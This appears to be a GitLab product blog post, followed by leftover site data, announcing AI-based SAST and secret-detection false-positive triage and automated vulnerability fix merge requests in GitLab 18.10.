Cut triage time with SAST false positive detection\n\nTraditional SAST scanners flag every suspicious code pattern they find, regardless of whether code paths are reachable or frameworks already handle the risk. Without runtime context, they cannot distinguish a real vulnerability from safe code that just looks dangerous.\n\nThis means developers could spend hours investigating findings that turn out to be false positives. Over time, that can erode confidence in the report and slow down the teams responsible for fixing real risks.\n\nAfter each SAST scan, GitLab Duo Agent Platform automatically analyzes new critical and high severity findings and attaches:\n\n* A confidence score indicating how likely the finding is to be a false positive  \n* An AI-generated explanation describing the reasoning  \n* A visual badge that makes “Likely false positive” versus “Likely real” easy to scan in the UI\n\nThese findings appear in the [Vulnerability Report](https://docs.gitlab.com/user/application_security/vulnerability_report/), as shown below. You can filter the report to focus on findings marked as “Not false positive” so teams can spend their time addressing real vulnerabilities instead of sifting through noise.\n\n![Vulnerability report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1773844787/i0eod01p7gawflllkgsr.png)\n\n\nGitLab Duo Agent Platform's assessment is a recommendation. You stay in control of every false positive to determine if it is valid, and you can audit the agent's reasoning at any time to build confidence in the model. \n\n\n## Turn vulnerabilities into automated fixes\n\nKnowing that a vulnerability is real is only half the work.  Remediation still requires understanding the code path, writing a safe patch, and making sure nothing else breaks.\n\nIf the vulnerability is identified as likely not be a false positive by the SAST false positive detection flow, the Agentic SAST vulnerability resolution flow automatically:\n\n1. Reads the vulnerable code and surrounding context from your repository  \n2. Generates high-quality proposed fixes  \n3. Validates fixes through automated testing   \n4. Opens a merge request with a proposed fix that includes:  \n   * Concrete code changes  \n   * A confidence score  \n   * An explanation of what changed and why\n\nIn this demo, you’ll see how GitLab can automatically take a SAST vulnerability all the way from detection to a ready-to-review merge request. Watch how the agent reads the code, generates and validates a fix, and opens an MR with clear, explainable changes so developers can remediate faster without being security experts.\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1174573325?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab 18.10 AI SAST False Positive Auto Remediation\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\nAs with any AI-generated suggestion, you should review the proposed merge request carefully before merging.\n\n## Surface real secrets\n\nSecret detection is only useful if teams trust the results. When reports are full of test credentials, placeholder values, and example tokens, developers may waste time reviewing noise instead of fixing real exposures. That can slow remediation and decrease confidence in the scan.\n\nSecret false positive detection helps teams focus on the secrets that matter so they can reduce risk faster. When it runs on the default branch, it will automatically:\n\n1. Analyze each finding to spot likely test credentials, example values, and dummy secrets  \n2. Assign a confidence score for whether the finding is a real risk or a likely false positive  \n3. Generate an explanation for why the secret is being treated as real or noise  \n4. Add a badge in the Vulnerability Report so developers can see the status at a glance\n\nDevelopers can also trigger this analysis manually from the Vulnerability Report by selecting **“Check for false positive”** on any secret detection finding, helping them clear out findings that do not pose risk and focus on real secrets sooner.\n\n## Try AI-powered security today\n\nGitLab 18.10 introduces capabilities that cover the full vulnerability workflow, from cutting false positive noise in SAST and secret detection to automatically generating merge requests with proposed fixes.\n\nTo see how AI-powered security can help cut review time and turn findings into ready-to-merge fixes, [start a free trial of GitLab Duo Agent Platform today](https://about.gitlab.com/gitlab-duo-agent-platform/?utm_medium=blog&utm_source=blog&utm_campaign=eg_global_x_x_security_en_).",[736,9,735],{"featured":12,"template":13,"slug":751},"gitlab-18-10-brings-ai-native-triage-and-remediation",{"promotions":753},[754,768,779,790],{"id":755,"categories":756,"header":758,"text":759,"button":760,"image":765},"ai-modernization",[757],"ai-ml","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":761,"config":762},"Get your AI maturity score",{"href":763,"dataGaName":764,"dataGaLocation":239},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":766},{"src":767},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":769,"categories":770,"header":771,"text":759,"button":772,"image":776},"devops-modernization",[736,565],"Are you just managing tools or shipping innovation?",{"text":773,"config":774},"Get your DevOps maturity score",{"href":775,"dataGaName":764,"dataGaLocation":239},"/assessments/devops-modernization-assessment/",{"config":777},{"src":778},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":780,"categories":781,"header":782,"text":759,"button":783,"image":787},"security-modernization",[9],"Are you trading speed for security?",{"text":784,"config":785},"Get your security maturity score",{"href":786,"dataGaName":764,"dataGaLocation":239},"/assessments/security-modernization-assessment/",{"config":788},{"src":789},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":791,"paths":792,"header":795,"text":796,"button":797,"image":802},"github-azure-migration",[793,794],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Is your team ready for GitHub's Azure move?","GitHub is already rebuilding around Azure. Find out what it means for you.",{"text":798,"config":799},"See how GitLab compares to GitHub",{"href":800,"dataGaName":801,"dataGaLocation":239},"/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":803},{"src":778},{"header":805,"blurb":806,"button":807,"secondaryButton":812},"Start building faster today","See what your team can do with the intelligent orchestration platform for DevSecOps.\n",{"text":808,"config":809},"Get your free trial",{"href":810,"dataGaName":46,"dataGaLocation":811},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/","feature",{"text":501,"config":813},{"href":50,"dataGaName":51,"dataGaLocation":811},1777302622859]